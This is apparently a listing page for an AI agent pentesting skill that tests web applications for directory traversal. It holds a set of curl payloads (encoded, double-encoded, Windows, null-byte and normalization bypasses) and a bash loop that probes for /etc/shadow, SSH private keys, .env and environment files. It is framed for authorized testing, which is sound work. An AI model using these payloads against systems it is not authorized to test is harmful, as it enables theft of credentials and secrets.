在 Manus 中运行任何 Skill
一键导入
一键导入
一键在 Manus 中运行任何 Skill
开始使用directory-traversal
星标2
分支0
更新时间2026年6月3日 04:04
检测目录遍历(路径穿越)漏洞,验证文件访问是否被正确限制在 Web 根目录内。
安装
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
SKILL.md
readonly菜单
检测目录遍历(路径穿越)漏洞,验证文件访问是否被正确限制在 Web 根目录内。
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
通过被动来源和受控主动 DNS 枚举目标子域名,发现更多授权攻击面入口。
使用 agent-browser 在授权范围内执行浏览器交互验证,并在需要视觉判断时调用 pents vision-review 生成结构化视觉复核结果。
检测 API 中的功能级授权破坏(BFLA),验证普通用户是否能通过直接调用管理端点或操纵 HTTP 方法来执行管理员功能。
检测 API 中的对象级授权缺陷(BOLA/IDOR),通过篡改对象标识符越权访问或修改其他用户的数据。
利用 JWT 库接受 alg:none 的漏洞绕过签名验证,伪造任意 Token 实现权限提升。
检测 API 中的批量赋值漏洞,通过在请求体中添加非预期字段修改不应被客户端控制的属性。
| name | directory-traversal |
| description | 检测目录遍历(路径穿越)漏洞,验证文件访问是否被正确限制在 Web 根目录内。 |
| category | web |
| source | xalgorix |
| tags | ["目录遍历","路径穿越","文件读取","OWASP Top 10"] |
| required_tools | ["curl"] |
?file=report.pdf、?page=about、?template=email)。/etc/passwd 或源码文件,记录路径即可,不持续深入文件系统。# 常见路径参数
# ?file=, ?path=, ?page=, ?template=, ?load=, ?include=
# ?download=, ?doc=, ?attachment=, ?dir=
# 标准路径穿越
curl "https://<target>/view?file=../../../etc/passwd"
# URL 编码
curl "https://<target>/view?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# 双层编码
curl "https://<target>/view?file=%252e%252e%252f%252e%252e%252fetc%252fpasswd"
# Windows 路径
curl "https://<target>/view?file=..\..\..\windows\win.ini"
# 混合分隔符
curl "https://<target>/view?file=../../windows/win.ini"
# UNC 路径(如果应用支持)
curl "https://<target>/view?file=\\127.0.0.1\share\file"
# 路径规范化绕过
curl "https://<target>/view?file=....//....//....//etc/passwd"
curl "https://<target>/view?file=..;/..;/..;/etc/passwd"
# 绝对路径
curl "https://<target>/view?file=/etc/passwd"
# Null byte(旧版 PHP < 5.3.4)
curl "https://<target>/view?file=../../../etc/passwd%00.jpg"
# 起始路径限制绕过(如果应用强制加前缀 /var/www/)
curl "https://<target>/view?file=../../../etc/passwd"
# Linux 关键文件
FILES=(
"/etc/passwd"
"/etc/shadow"
"/etc/hosts"
"/proc/self/environ"
"/home/<user>/.ssh/id_rsa"
"/var/www/html/config.php"
"/app/config/database.yml"
".env"
".git/config"
)
for f in "${FILES[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
"https://<target>/view?file=../../../..$f")
[ "$code" = "200" ] && echo "FOUND: $f"
done
/etc/shadow 或 SSH 私钥等凭证文件时,停止并立即报告。